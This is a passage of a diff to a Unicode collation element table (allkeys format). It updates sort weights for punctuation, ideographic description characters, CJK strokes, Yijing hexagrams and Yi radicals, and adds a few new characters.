+2E08  ; [*03BA.0020.0002] # DOTTED TRANSPOSITION MARKER
+2E09  ; [*035F.0020.0002] # LEFT TRANSPOSITION BRACKET
+2E0A  ; [*0360.0020.0002] # RIGHT TRANSPOSITION BRACKET
+2E0B  ; [*03BB.0020.0002] # RAISED SQUARE
+2E0C  ; [*0361.0020.0002] # LEFT RAISED OMISSION BRACKET
+2E0D  ; [*0362.0020.0002] # RIGHT RAISED OMISSION BRACKET
+2E0E  ; [*03BC.0020.0002] # EDITORIAL CORONIS
+2E0F  ; [*03BD.0020.0002] # PARAGRAPHOS
+2E10  ; [*03BE.0020.0002] # FORKED PARAGRAPHOS
+2E11  ; [*03BF.0020.0002] # REVERSED FORKED PARAGRAPHOS
+2E12  ; [*03C0.0020.0002] # HYPODIASTOLE
+2E13  ; [*03C1.0020.0002] # DOTTED OBELOS
+2E14  ; [*03C2.0020.0002] # DOWNWARDS ANCORA
+2E15  ; [*03C3.0020.0002] # UPWARDS ANCORA
+2E16  ; [*03C4.0020.0002] # DOTTED RIGHT-POINTING ANGLE
+2E17  ; [*021C.0020.0002] # DOUBLE OBLIQUE HYPHEN
+2E18  ; [*0276.0020.0002] # INVERTED INTERROBANG
+2E19  ; [*02F8.0020.0002] # PALM BRANCH
+2E1A  ; [*03C5.0020.0002] # HYPHEN WITH DIAERESIS
+2E1B  ; [*03C6.0020.0002] # TILDE WITH RING ABOVE
+2E1C  ; [*0363.0020.0002] # LEFT LOW PARAPHRASE BRACKET
+2E1D  ; [*0364.0020.0002] # RIGHT LOW PARAPHRASE BRACKET
+2E1E  ; [*03C7.0020.0002] # TILDE WITH DOT ABOVE
+2E1F  ; [*03C8.0020.0002] # TILDE WITH DOT BELOW
+2E20  ; [*0365.0020.0002] # LEFT VERTICAL BAR WITH QUILL
+2E21  ; [*0366.0020.0002] # RIGHT VERTICAL BAR WITH QUILL
+2E22  ; [*0367.0020.0002] # TOP LEFT HALF BRACKET
+2E23  ; [*0368.0020.0002] # TOP RIGHT HALF BRACKET
+2E24  ; [*0369.0020.0002] # BOTTOM LEFT HALF BRACKET
+2E25  ; [*036A.0020.0002] # BOTTOM RIGHT HALF BRACKET
+2E26  ; [*036B.0020.0002] # LEFT SIDEWAYS U BRACKET
+2E27  ; [*036C.0020.0002] # RIGHT SIDEWAYS U BRACKET
+2E28  ; [*036D.0020.0002] # LEFT DOUBLE PARENTHESIS
+2E29  ; [*036E.0020.0002] # RIGHT DOUBLE PARENTHESIS
+2E2A  ; [*02F1.0020.0002] # TWO DOTS OVER ONE DOT PUNCTUATION
+2E2B  ; [*02F2.0020.0002] # ONE DOT OVER TWO DOTS PUNCTUATION
+2E2C  ; [*02F3.0020.0002] # SQUARED FOUR DOT PUNCTUATION
+2E2D  ; [*02F4.0020.0002] # FIVE DOT MARK
+2E2E  ; [*0268.0020.0002] # REVERSED QUESTION MARK
+2E30  ; [*0283.0020.0002] # RING POINT
+2E31  ; [*028C.0020.0002] # WORD SEPARATOR MIDDLE DOT
+2E32  ; [*0224.0020.0002] # TURNED COMMA
+2E33  ; [*028D.0020.0002] # RAISED DOT
+2E34  ; [*0223.0020.0002] # RAISED COMMA
+2E35  ; [*0237.0020.0002] # TURNED SEMICOLON
+2E36  ; [*03A1.0020.0002] # DAGGER WITH LEFT GUARD
+2E37  ; [*03A2.0020.0002] # DAGGER WITH RIGHT GUARD
+2E38  ; [*03A3.0020.0002] # TURNED DAGGER
+2E39  ; [*038A.0020.0002] # TOP HALF SECTION SIGN
 2E3A  ; [*0218.0020.0002] # TWO-EM DASH
 2E3B  ; [*0219.0020.0002] # THREE-EM DASH
-2E3C  ; [*0281.0020.0002] # STENOGRAPHIC FULL STOP
-2E3D  ; [*02EE.0020.0002] # VERTICAL SIX DOTS
-2E3E  ; [*037D.0020.0002] # WIGGLY VERTICAL LINE
-2E3F  ; [*0386.0020.0002] # CAPITULUM
-2E40  ; [*021C.0020.0002] # DOUBLE HYPHEN
-2E41  ; [*0224.0020.0002] # REVERSED COMMA
-2E42  ; [*030A.0020.0002] # DOUBLE LOW-REVERSED-9 QUOTATION MARK
-2FF0  ; [*19EB.0020.0002] # IDEOGRAPHIC DESCRIPTION CHARACTER LEFT TO RIGHT
-2FF1  ; [*19EC.0020.0002] # IDEOGRAPHIC DESCRIPTION CHARACTER ABOVE TO BELOW
-2FF2  ; [*19ED.0020.0002] # IDEOGRAPHIC DESCRIPTION CHARACTER LEFT TO MIDDLE AND RIGHT
-2FF3  ; [*19EE.0020.0002] # IDEOGRAPHIC DESCRIPTION CHARACTER ABOVE TO MIDDLE AND BELOW
-2FF4  ; [*19EF.0020.0002] # IDEOGRAPHIC DESCRIPTION CHARACTER FULL SURROUND
-2FF5  ; [*19F0.0020.0002] # IDEOGRAPHIC DESCRIPTION CHARACTER SURROUND FROM ABOVE
-2FF6  ; [*19F1.0020.0002] # IDEOGRAPHIC DESCRIPTION CHARACTER SURROUND FROM BELOW
-2FF7  ; [*19F2.0020.0002] # IDEOGRAPHIC DESCRIPTION CHARACTER SURROUND FROM LEFT
-2FF8  ; [*19F3.0020.0002] # IDEOGRAPHIC DESCRIPTION CHARACTER SURROUND FROM UPPER LEFT
-2FF9  ; [*19F4.0020.0002] # IDEOGRAPHIC DESCRIPTION CHARACTER SURROUND FROM UPPER RIGHT
-2FFA  ; [*19F5.0020.0002] # IDEOGRAPHIC DESCRIPTION CHARACTER SURROUND FROM LOWER LEFT
-2FFB  ; [*19F6.0020.0002] # IDEOGRAPHIC DESCRIPTION CHARACTER OVERLAID
+2E3C  ; [*0284.0020.0002] # STENOGRAPHIC FULL STOP
+2E3D  ; [*02F5.0020.0002] # VERTICAL SIX DOTS
+2E3E  ; [*0384.0020.0002] # WIGGLY VERTICAL LINE
+2E3F  ; [*038D.0020.0002] # CAPITULUM
+2E40  ; [*021D.0020.0002] # DOUBLE HYPHEN
+2E41  ; [*0225.0020.0002] # REVERSED COMMA
+2E42  ; [*0311.0020.0002] # DOUBLE LOW-REVERSED-9 QUOTATION MARK
+2E43  ; [*021B.0020.0002] # DASH WITH LEFT UPTURN
+2E44  ; [*03C9.0020.0002] # DOUBLE SUSPENSION MARK
+2FF0  ; [*1A5B.0020.0002] # IDEOGRAPHIC DESCRIPTION CHARACTER LEFT TO RIGHT
+2FF1  ; [*1A5C.0020.0002] # IDEOGRAPHIC DESCRIPTION CHARACTER ABOVE TO BELOW
+2FF2  ; [*1A5D.0020.0002] # IDEOGRAPHIC DESCRIPTION CHARACTER LEFT TO MIDDLE AND RIGHT
+2FF3  ; [*1A5E.0020.0002] # IDEOGRAPHIC DESCRIPTION CHARACTER ABOVE TO MIDDLE AND BELOW
+2FF4  ; [*1A5F.0020.0002] # IDEOGRAPHIC DESCRIPTION CHARACTER FULL SURROUND
+2FF5  ; [*1A60.0020.0002] # IDEOGRAPHIC DESCRIPTION CHARACTER SURROUND FROM ABOVE
+2FF6  ; [*1A61.0020.0002] # IDEOGRAPHIC DESCRIPTION CHARACTER SURROUND FROM BELOW
+2FF7  ; [*1A62.0020.0002] # IDEOGRAPHIC DESCRIPTION CHARACTER SURROUND FROM LEFT
+2FF8  ; [*1A63.0020.0002] # IDEOGRAPHIC DESCRIPTION CHARACTER SURROUND FROM UPPER LEFT
+2FF9  ; [*1A64.0020.0002] # IDEOGRAPHIC DESCRIPTION CHARACTER SURROUND FROM UPPER RIGHT
+2FFA  ; [*1A65.0020.0002] # IDEOGRAPHIC DESCRIPTION CHARACTER SURROUND FROM LOWER LEFT
+2FFB  ; [*1A66.0020.0002] # IDEOGRAPHIC DESCRIPTION CHARACTER OVERLAID
 3000  ; [*0209.0020.0003] # IDEOGRAPHIC SPACE
-3001  ; [*0230.0020.0002] # IDEOGRAPHIC COMMA
-3002  ; [*0287.0020.0002] # IDEOGRAPHIC FULL STOP
-3003  ; [*03A5.0020.0002] # DITTO MARK
-3004  ; [*1A1B.0020.0002] # JAPANESE INDUSTRIAL STANDARD SYMBOL
-3008  ; [*0368.0020.0002] # LEFT ANGLE BRACKET
-3009  ; [*0369.0020.0002] # RIGHT ANGLE BRACKET
-300A  ; [*036A.0020.0002] # LEFT DOUBLE ANGLE BRACKET
-300B  ; [*036B.0020.0002] # RIGHT DOUBLE ANGLE BRACKET
-300C  ; [*036C.0020.0002] # LEFT CORNER BRACKET
-300D  ; [*036D.0020.0002] # RIGHT CORNER BRACKET
-300E  ; [*036E.0020.0002] # LEFT WHITE CORNER BRACKET
-300F  ; [*036F.0020.0002] # RIGHT WHITE CORNER BRACKET
-3010  ; [*0370.0020.0002] # LEFT BLACK LENTICULAR BRACKET
-3011  ; [*0371.0020.0002] # RIGHT BLACK LENTICULAR BRACKET
-3012  ; [*1A1C.0020.0002] # POSTAL MARK
-3013  ; [*1A1D.0020.0002] # GETA MARK
-3014  ; [*0372.0020.0002] # LEFT TORTOISE SHELL BRACKET
-3015  ; [*0373.0020.0002] # RIGHT TORTOISE SHELL BRACKET
-3016  ; [*0374.0020.0002] # LEFT WHITE LENTICULAR BRACKET
-3017  ; [*0375.0020.0002] # RIGHT WHITE LENTICULAR BRACKET
-3018  ; [*0376.0020.0002] # LEFT WHITE TORTOISE SHELL BRACKET
-3019  ; [*0377.0020.0002] # RIGHT WHITE TORTOISE SHELL BRACKET
-301A  ; [*0378.0020.0002] # LEFT WHITE SQUARE BRACKET
-301B  ; [*0379.0020.0002] # RIGHT WHITE SQUARE BRACKET
-301C  ; [*021D.0020.0002] # WAVE DASH
-301D  ; [*030B.0020.0002] # REVERSED DOUBLE PRIME QUOTATION MARK
-301E  ; [*030C.0020.0002] # DOUBLE PRIME QUOTATION MARK
-301F  ; [*030D.0020.0002] # LOW DOUBLE PRIME QUOTATION MARK
-3020  ; [*1A1E.0020.0002] # POSTAL MARK FACE
-3030  ; [*021E.0020.0002] # WAVY DASH
-3036  ; [*1A1C.0020.0004] # CIRCLED POSTAL MARK
-3037  ; [*1A1F.0020.0002] # IDEOGRAPHIC TELEGRAPH LINE FEED SEPARATOR SYMBOL
-303D  ; [*03A6.0020.0002] # PART ALTERNATION MARK
-303E  ; [*1A20.0020.0002] # IDEOGRAPHIC VARIATION INDICATOR
-303F  ; [*1A21.0020.0002] # IDEOGRAPHIC HALF FILL SPACE
-309B  ; [*0472.0020.0002] # KATAKANA-HIRAGANA VOICED SOUND MARK
-309C  ; [*0473.0020.0002] # KATAKANA-HIRAGANA SEMI-VOICED SOUND MARK
-30A0  ; [*021F.0020.0002] # KATAKANA-HIRAGANA DOUBLE HYPHEN
-30FB  ; [*0220.0020.0002] # KATAKANA MIDDLE DOT
-3190  ; [*1A22.0020.0002] # IDEOGRAPHIC ANNOTATION LINKING MARK
-3191  ; [*1A23.0020.0002] # IDEOGRAPHIC ANNOTATION REVERSE MARK
-31C0  ; [*19F7.0020.0002] # CJK STROKE T
-31C1  ; [*19F8.0020.0002] # CJK STROKE WG
-31C2  ; [*19F9.0020.0002] # CJK STROKE XG
-31C3  ; [*19FA.0020.0002] # CJK STROKE BXG
-31C4  ; [*19FB.0020.0002] # CJK STROKE SW
-31C5  ; [*19FC.0020.0002] # CJK STROKE HZZ
-31C6  ; [*19FD.0020.0002] # CJK STROKE HZG
-31C7  ; [*19FE.0020.0002] # CJK STROKE HP
-31C8  ; [*19FF.0020.0002] # CJK STROKE HZWG
-31C9  ; [*1A00.0020.0002] # CJK STROKE SZWG
-31CA  ; [*1A01.0020.0002] # CJK STROKE HZT
-31CB  ; [*1A02.0020.0002] # CJK STROKE HZZP
-31CC  ; [*1A03.0020.0002] # CJK STROKE HPWG
-31CD  ; [*1A04.0020.0002] # CJK STROKE HZW
-31CE  ; [*1A05.0020.0002] # CJK STROKE HZZZ
-31CF  ; [*1A06.0020.0002] # CJK STROKE N
-31D0  ; [*1A07.0020.0002] # CJK STROKE H
-31D1  ; [*1A08.0020.0002] # CJK STROKE S
-31D2  ; [*1A09.0020.0002] # CJK STROKE P
-31D3  ; [*1A0A.0020.0002] # CJK STROKE SP
-31D4  ; [*1A0B.0020.0002] # CJK STROKE D
-31D5  ; [*1A0C.0020.0002] # CJK STROKE HZ
-31D6  ; [*1A0D.0020.0002] # CJK STROKE HG
-31D7  ; [*1A0E.0020.0002] # CJK STROKE SZ
-31D8  ; [*1A0F.0020.0002] # CJK STROKE SWZ
-31D9  ; [*1A10.0020.0002] # CJK STROKE ST
-31DA  ; [*1A11.0020.0002] # CJK STROKE SG
-31DB  ; [*1A12.0020.0002] # CJK STROKE PD
-31DC  ; [*1A13.0020.0002] # CJK STROKE PZ
-31DD  ; [*1A14.0020.0002] # CJK STROKE TN
-31DE  ; [*1A15.0020.0002] # CJK STROKE SZZ
-31DF  ; [*1A16.0020.0002] # CJK STROKE SWG
-31E0  ; [*1A17.0020.0002] # CJK STROKE HXWG
-31E1  ; [*1A18.0020.0002] # CJK STROKE HZZZG
-31E2  ; [*1A19.0020.0002] # CJK STROKE PG
-31E3  ; [*1A1A.0020.0002] # CJK STROKE Q
-327F  ; [*1A24.0020.0002] # KOREAN STANDARD SYMBOL
-4DC0  ; [*0E86.0020.0002] # HEXAGRAM FOR THE CREATIVE HEAVEN
-4DC1  ; [*0E87.0020.0002] # HEXAGRAM FOR THE RECEPTIVE EARTH
-4DC2  ; [*0E88.0020.0002] # HEXAGRAM FOR DIFFICULTY AT THE BEGINNING
-4DC3  ; [*0E89.0020.0002] # HEXAGRAM FOR YOUTHFUL FOLLY
-4DC4  ; [*0E8A.0020.0002] # HEXAGRAM FOR WAITING
-4DC5  ; [*0E8B.0020.0002] # HEXAGRAM FOR CONFLICT
-4DC6  ; [*0E8C.0020.0002] # HEXAGRAM FOR THE ARMY
-4DC7  ; [*0E8D.0020.0002] # HEXAGRAM FOR HOLDING TOGETHER
-4DC8  ; [*0E8E.0020.0002] # HEXAGRAM FOR SMALL TAMING
-4DC9  ; [*0E8F.0020.0002] # HEXAGRAM FOR TREADING
-4DCA  ; [*0E90.0020.0002] # HEXAGRAM FOR PEACE
-4DCB  ; [*0E91.0020.0002] # HEXAGRAM FOR STANDSTILL
-4DCC  ; [*0E92.0020.0002] # HEXAGRAM FOR FELLOWSHIP
-4DCD  ; [*0E93.0020.0002] # HEXAGRAM FOR GREAT POSSESSION
-4DCE  ; [*0E94.0020.0002] # HEXAGRAM FOR MODESTY
-4DCF  ; [*0E95.0020.0002] # HEXAGRAM FOR ENTHUSIASM
-4DD0  ; [*0E96.0020.0002] # HEXAGRAM FOR FOLLOWING
-4DD1  ; [*0E97.0020.0002] # HEXAGRAM FOR WORK ON THE DECAYED
-4DD2  ; [*0E98.0020.0002] # HEXAGRAM FOR APPROACH
-4DD3  ; [*0E99.0020.0002] # HEXAGRAM FOR CONTEMPLATION
-4DD4  ; [*0E9A.0020.0002] # HEXAGRAM FOR BITING THROUGH
-4DD5  ; [*0E9B.0020.0002] # HEXAGRAM FOR GRACE
-4DD6  ; [*0E9C.0020.0002] # HEXAGRAM FOR SPLITTING APART
-4DD7  ; [*0E9D.0020.0002] # HEXAGRAM FOR RETURN
-4DD8  ; [*0E9E.0020.0002] # HEXAGRAM FOR INNOCENCE
-4DD9  ; [*0E9F.0020.0002] # HEXAGRAM FOR GREAT TAMING
-4DDA  ; [*0EA0.0020.0002] # HEXAGRAM FOR MOUTH CORNERS
-4DDB  ; [*0EA1.0020.0002] # HEXAGRAM FOR GREAT PREPONDERANCE
-4DDC  ; [*0EA2.0020.0002] # HEXAGRAM FOR THE ABYSMAL WATER
-4DDD  ; [*0EA3.0020.0002] # HEXAGRAM FOR THE CLINGING FIRE
-4DDE  ; [*0EA4.0020.0002] # HEXAGRAM FOR INFLUENCE
-4DDF  ; [*0EA5.0020.0002] # HEXAGRAM FOR DURATION
-4DE0  ; [*0EA6.0020.0002] # HEXAGRAM FOR RETREAT
-4DE1  ; [*0EA7.0020.0002] # HEXAGRAM FOR GREAT POWER
-4DE2  ; [*0EA8.0020.0002] # HEXAGRAM FOR PROGRESS
-4DE3  ; [*0EA9.0020.0002] # HEXAGRAM FOR DARKENING OF THE LIGHT
-4DE4  ; [*0EAA.0020.0002] # HEXAGRAM FOR THE FAMILY
-4DE5  ; [*0EAB.0020.0002] # HEXAGRAM FOR OPPOSITION
-4DE6  ; [*0EAC.0020.0002] # HEXAGRAM FOR OBSTRUCTION
-4DE7  ; [*0EAD.0020.0002] # HEXAGRAM FOR DELIVERANCE
-4DE8  ; [*0EAE.0020.0002] # HEXAGRAM FOR DECREASE
-4DE9  ; [*0EAF.0020.0002] # HEXAGRAM FOR INCREASE
-4DEA  ; [*0EB0.0020.0002] # HEXAGRAM FOR BREAKTHROUGH
-4DEB  ; [*0EB1.0020.0002] # HEXAGRAM FOR COMING TO MEET
-4DEC  ; [*0EB2.0020.0002] # HEXAGRAM FOR GATHERING TOGETHER
-4DED  ; [*0EB3.0020.0002] # HEXAGRAM FOR PUSHING UPWARD
-4DEE  ; [*0EB4.0020.0002] # HEXAGRAM FOR OPPRESSION
-4DEF  ; [*0EB5.0020.0002] # HEXAGRAM FOR THE WELL
-4DF0  ; [*0EB6.0020.0002] # HEXAGRAM FOR REVOLUTION
-4DF1  ; [*0EB7.0020.0002] # HEXAGRAM FOR THE CAULDRON
-4DF2  ; [*0EB8.0020.0002] # HEXAGRAM FOR THE AROUSING THUNDER
-4DF3  ; [*0EB9.0020.0002] # HEXAGRAM FOR THE KEEPING STILL MOUNTAIN
-4DF4  ; [*0EBA.0020.0002] # HEXAGRAM FOR DEVELOPMENT
-4DF5  ; [*0EBB.0020.0002] # HEXAGRAM FOR THE MARRYING MAIDEN
-4DF6  ; [*0EBC.0020.0002] # HEXAGRAM FOR ABUNDANCE
-4DF7  ; [*0EBD.0020.0002] # HEXAGRAM FOR THE WANDERER
-4DF8  ; [*0EBE.0020.0002] # HEXAGRAM FOR THE GENTLE WIND
-4DF9  ; [*0EBF.0020.0002] # HEXAGRAM FOR THE JOYOUS LAKE
-4DFA  ; [*0EC0.0020.0002] # HEXAGRAM FOR DISPERSION
-4DFB  ; [*0EC1.0020.0002] # HEXAGRAM FOR LIMITATION
-4DFC  ; [*0EC2.0020.0002] # HEXAGRAM FOR INNER TRUTH
-4DFD  ; [*0EC3.0020.0002] # HEXAGRAM FOR SMALL PREPONDERANCE
-4DFE  ; [*0EC4.0020.0002] # HEXAGRAM FOR AFTER COMPLETION
-4DFF  ; [*0EC5.0020.0002] # HEXAGRAM FOR BEFORE COMPLETION
-A490  ; [*0F1D.0020.0002] # YI RADICAL QOT
-A491  ; [*0F1E.0020.0002] # YI RADICAL LI
-A492  ; [*0F1F.0020.0002] # YI RADICAL KIT
-A493  ; [*0F20.0020.0002] # YI RADICAL NYIP
-A494  ; [*0F21.0020.0002] # YI RADICAL CYP
-A495  ; [*0F22.0020.0002] # YI RADICAL SSI
-A496  ; [*0F23.0020.0002] # YI RADICAL GGOP
-A497  ; [*0F24.0020.0002] # YI RADICAL GEP
-A498  ; [*0F25.0020.0002] # YI RADICAL MI
-A499  ; [*0F26.0020.0002] # YI RADICAL HXIT
-A49A  ; [*0F27.0020.0002] # YI RADICAL LYR
-A49B  ; [*0F28.0020.0002] # YI RADICAL BBUT
-A49C  ; [*0F29.0020.0002] # YI RADICAL MOP
-A49D  ; [*0F2A.0020.0002] # YI RADICAL YO
-A49E  ; [*0F2B.0020.0002] # YI RADICAL PUT
-A49F  ; [*0F2C.0020.0002] # YI RADICAL HXUO
-A4A0  ; [*0F2D.0020.0002] # YI RADICAL TAT
-A4A1  ; [*0F2E.0020.0002] # YI RADICAL GA
-A4A2  ; [*0F2F.0020.0002] # YI RADICAL ZUP
-A4A3  ; [*0F30.0020.0002] # YI RADICAL CYT
-A4A4  ; [*0F31.0020.0002] # YI RADICAL DDUR
-A4A5  ; [*0F32.0020.0002] # YI RADICAL BUR
-A4A6  ; [*0F33.0020.0002] # YI RADICAL GGUO
-A4A7  ; [*0F34.0020.0002] # YI RADICAL NYOP
-A4A8  ; [*0F35.0020.0002] # YI RADICAL TU
-A4A9  ; [*0F36.0020.0002] # YI RADICAL OP
-A4AA  ; [*0F37.0020.0002] # YI RADICAL JJUT
-A4AB  ; [*0F38.0020.0002] # YI RADICAL ZOT
-A4AC  ; [*0F39.0020.0002] # YI RADICAL PYT
-A4AD  ; [*0F3A.0020.0002] # YI RADICAL HMO
-A4AE  ; [*0F3B.0020.0002] # YI RADICAL YIT
-A4AF  ; [*0F3C.0020.0002] # YI RADICAL VUR
-A4B0  ; [*0F3D.0020.0002] # YI RADICAL SHY
-A4B1  ; [*0F3E.0020.0002] # YI RADICAL VEP
-A4B2  ; [*0F3F.0020.0002] # YI RADICAL ZA
-A4B3  ; [*0F40.0020.0002] # YI RADICAL JO
-A4B4  ; [*0F41.0020.0002] # YI RADICAL NZUP
-A4B5  ; [*0F42.0020.0002] # YI RADICAL JJY
-A4B6  ; [*0F43.0020.0002] # YI RADICAL GOT
-A4B7  ; [*0F44.0020.0002] # YI RADICAL JJIE
-A4B8  ; [*0F45.0020.0002] # YI RADICAL WO
-A4B9  ; [*0F46.0020.0002] # YI RADICAL DU
-A4BA  ; [*0F47.0020.0002] # YI RADICAL SHUR
-A4BB  ; [*0F48.0020.0002] # YI RADICAL LIE
-A4BC  ; [*0F49.0020.0002] # YI RADICAL CY
-A4BD  ; [*0F4A.0020.0002] # YI RADICAL CUOP
-A4BE  ; [*0F4B.0020.0002] # YI RADICAL CIP
-A4BF  ; [*0F4C.0020.0002] # YI RADICAL HXOP
-A4C0  ; [*0F4D.0020.0002] # YI RADICAL SHAT
-A4C1  ; [*0F4E.0020.0002] # YI RADICAL ZUR
-A4C2  ; [*0F4F.0020.0002] # YI RADICAL SHOP
-A4C3  ; [*0F50.0020.0002] # YI RADICAL CHE
-A4C4  ; [*0F51.0020.0002] # YI RADICAL ZZIET
-A4C5  ; [*0F52.0020.0002] # YI RADICAL NBIE
-A4C6  ; [*0F53.0020.0002] # YI RADICAL KE
-A4FE  ; [*022D.0020.0002] # LISU PUNCTUATION COMMA
-A4FF  ; [*0282.0020.0002] # LISU PUNCTUATION FULL STOP
-A60D  ; [*022E.0020.0002] # VAI COMMA
-A60E  ; [*0283.0020.0002] # VAI FULL STOP
-A60F  ; [*026E.0020.0002] # VAI QUESTION MARK
+3001  ; [*0231.0020.0002] # IDEOGRAPHIC COMMA
+3002  ; [*028A.0020.0002] # IDEOGRAPHIC FULL STOP
+3003  ; [*03AC.0020.0002] # DITTO MARK
+3004  ; [*1A8B.0020.0002] # JAPANESE INDUSTRIAL STANDARD SYMBOL
+3008  ; [*036F.0020.0002] # LEFT ANGLE BRACKET
+3009  ; [*0370.0020.0002] # RIGHT ANGLE BRACKET
+300A  ; [*0371.0020.0002] # LEFT DOUBLE ANGLE BRACKET
+300B  ; [*0372.0020.0002] # RIGHT DOUBLE ANGLE BRACKET
+300C  ; [*0373.0020.0002] # LEFT CORNER BRACKET
+300D  ; [*0374.0020.0002] # RIGHT CORNER BRACKET
+300E  ; [*0375.0020.0002] # LEFT WHITE CORNER BRACKET
+300F  ; [*0376.0020.0002] # RIGHT WHITE CORNER BRACKET
+3010  ; [*0377.0020.0002] # LEFT BLACK LENTICULAR BRACKET
+3011  ; [*0378.0020.0002] # RIGHT BLACK LENTICULAR BRACKET
+3012  ; [*1A8C.0020.0002] # POSTAL MARK
+3013  ; [*1A8D.0020.0002] # GETA MARK
+3014  ; [*0379.0020.0002] # LEFT TORTOISE SHELL BRACKET
+3015  ; [*037A.0020.0002] # RIGHT TORTOISE SHELL BRACKET
+3016  ; [*037B.0020.0002] # LEFT WHITE LENTICULAR BRACKET
+3017  ; [*037C.0020.0002] # RIGHT WHITE LENTICULAR BRACKET
+3018  ; [*037D.0020.0002] # LEFT WHITE TORTOISE SHELL BRACKET
+3019  ; [*037E.0020.0002] # RIGHT WHITE TORTOISE SHELL BRACKET
+301A  ; [*037F.0020.0002] # LEFT WHITE SQUARE BRACKET
+301B  ; [*0380.0020.0002] # RIGHT WHITE SQUARE BRACKET
+301C  ; [*021E.0020.0002] # WAVE DASH
+301D  ; [*0312.0020.0002] # REVERSED DOUBLE PRIME QUOTATION MARK
+301E  ; [*0313.0020.0002] # DOUBLE PRIME QUOTATION MARK
+301F  ; [*0314.0020.0002] # LOW DOUBLE PRIME QUOTATION MARK
+3020  ; [*1A8E.0020.0002] # POSTAL MARK FACE
+3030  ; [*021F.0020.0002] # WAVY DASH
+3036  ; [*1A8C.0020.0004] # CIRCLED POSTAL MARK
+3037  ; [*1A8F.0020.0002] # IDEOGRAPHIC TELEGRAPH LINE FEED SEPARATOR SYMBOL
+303D  ; [*03AD.0020.0002] # PART ALTERNATION MARK
+303E  ; [*1A90.0020.0002] # IDEOGRAPHIC VARIATION INDICATOR
+303F  ; [*1A91.0020.0002] # IDEOGRAPHIC HALF FILL SPACE
+309B  ; [*0491.0020.0002] # KATAKANA-HIRAGANA VOICED SOUND MARK
+309C  ; [*0492.0020.0002] # KATAKANA-HIRAGANA SEMI-VOICED SOUND MARK
+30A0  ; [*0220.0020.0002] # KATAKANA-HIRAGANA DOUBLE HYPHEN
+30FB  ; [*0221.0020.0002] # KATAKANA MIDDLE DOT
+3190  ; [*1A92.0020.0002] # IDEOGRAPHIC ANNOTATION LINKING MARK
+3191  ; [*1A93.0020.0002] # IDEOGRAPHIC ANNOTATION REVERSE MARK
+31C0  ; [*1A67.0020.0002] # CJK STROKE T
+31C1  ; [*1A68.0020.0002] # CJK STROKE WG
+31C2  ; [*1A69.0020.0002] # CJK STROKE XG
+31C3  ; [*1A6A.0020.0002] # CJK STROKE BXG
+31C4  ; [*1A6B.0020.0002] # CJK STROKE SW
+31C5  ; [*1A6C.0020.0002] # CJK STROKE HZZ
+31C6  ; [*1A6D.0020.0002] # CJK STROKE HZG
+31C7  ; [*1A6E.0020.0002] # CJK STROKE HP
+31C8  ; [*1A6F.0020.0002] # CJK STROKE HZWG
+31C9  ; [*1A70.0020.0002] # CJK STROKE SZWG
+31CA  ; [*1A71.0020.0002] # CJK STROKE HZT
+31CB  ; [*1A72.0020.0002] # CJK STROKE HZZP
+31CC  ; [*1A73.0020.0002] # CJK STROKE HPWG
+31CD  ; [*1A74.0020.0002] # CJK STROKE HZW
+31CE  ; [*1A75.0020.0002] # CJK STROKE HZZZ
+31CF  ; [*1A76.0020.0002] # CJK STROKE N
+31D0  ; [*1A77.0020.0002] # CJK STROKE H
+31D1  ; [*1A78.0020.0002] # CJK STROKE S
+31D2  ; [*1A79.0020.0002] # CJK STROKE P
+31D3  ; [*1A7A.0020.0002] # CJK STROKE SP
+31D4  ; [*1A7B.0020.0002] # CJK STROKE D
+31D5  ; [*1A7C.0020.0002] # CJK STROKE HZ
+31D6  ; [*1A7D.0020.0002] # CJK STROKE HG
+31D7  ; [*1A7E.0020.0002] # CJK STROKE SZ
+31D8  ; [*1A7F.0020.0002] # CJK STROKE SWZ
+31D9  ; [*1A80.0020.0002] # CJK STROKE ST
+31DA  ; [*1A81.0020.0002] # CJK STROKE SG
+31DB  ; [*1A82.0020.0002] # CJK STROKE PD
+31DC  ; [*1A83.0020.0002] # CJK STROKE PZ
+31DD  ; [*1A84.0020.0002] # CJK STROKE TN
+31DE  ; [*1A85.0020.0002] # CJK STROKE SZZ
+31DF  ; [*1A86.0020.0002] # CJK STROKE SWG
+31E0  ; [*1A87.0020.0002] # CJK STROKE HXWG
+31E1  ; [*1A88.0020.0002] # CJK STROKE HZZZG
+31E2  ; [*1A89.0020.0002] # CJK STROKE PG
+31E3  ; [*1A8A.0020.0002] # CJK STROKE Q
+327F  ; [*1A94.0020.0002] # KOREAN STANDARD SYMBOL
+4DC0  ; [*0EAA.0020.0002] # HEXAGRAM FOR THE CREATIVE HEAVEN
+4DC1  ; [*0EAB.0020.0002] # HEXAGRAM FOR THE RECEPTIVE EARTH
+4DC2  ; [*0EAC.0020.0002] # HEXAGRAM FOR DIFFICULTY AT THE BEGINNING
+4DC3  ; [*0EAD.0020.0002] # HEXAGRAM FOR YOUTHFUL FOLLY
+4DC4  ; [*0EAE.0020.0002] # HEXAGRAM FOR WAITING
+4DC5  ; [*0EAF.0020.0002] # HEXAGRAM FOR CONFLICT
+4DC6  ; [*0EB0.0020.0002] # HEXAGRAM FOR THE ARMY
+4DC7  ; [*0EB1.0020.0002] # HEXAGRAM FOR HOLDING TOGETHER
+4DC8  ; [*0EB2.0020.0002] # HEXAGRAM FOR SMALL TAMING
+4DC9  ; [*0EB3.0020.0002] # HEXAGRAM FOR TREADING
+4DCA  ; [*0EB4.0020.0002] # HEXAGRAM FOR PEACE
+4DCB  ; [*0EB5.0020.0002] # HEXAGRAM FOR STANDSTILL
+4DCC  ; [*0EB6.0020.0002] # HEXAGRAM FOR FELLOWSHIP
+4DCD  ; [*0EB7.0020.0002] # HEXAGRAM FOR GREAT POSSESSION
+4DCE  ; [*0EB8.0020.0002] # HEXAGRAM FOR MODESTY
+4DCF  ; [*0EB9.0020.0002] # HEXAGRAM FOR ENTHUSIASM
+4DD0  ; [*0EBA.0020.0002] # HEXAGRAM FOR FOLLOWING
+4DD1  ; [*0EBB.0020.0002] # HEXAGRAM FOR WORK ON THE DECAYED
+4DD2  ; [*0EBC.0020.0002] # HEXAGRAM FOR APPROACH
+4DD3  ; [*0EBD.0020.0002] # HEXAGRAM FOR CONTEMPLATION
+4DD4  ; [*0EBE.0020.0002] # HEXAGRAM FOR BITING THROUGH
+4DD5  ; [*0EBF.0020.0002] # HEXAGRAM FOR GRACE
+4DD6  ; [*0EC0.0020.0002] # HEXAGRAM FOR SPLITTING APART
+4DD7  ; [*0EC1.0020.0002] # HEXAGRAM FOR RETURN
+4DD8  ; [*0EC2.0020.0002] # HEXAGRAM FOR INNOCENCE
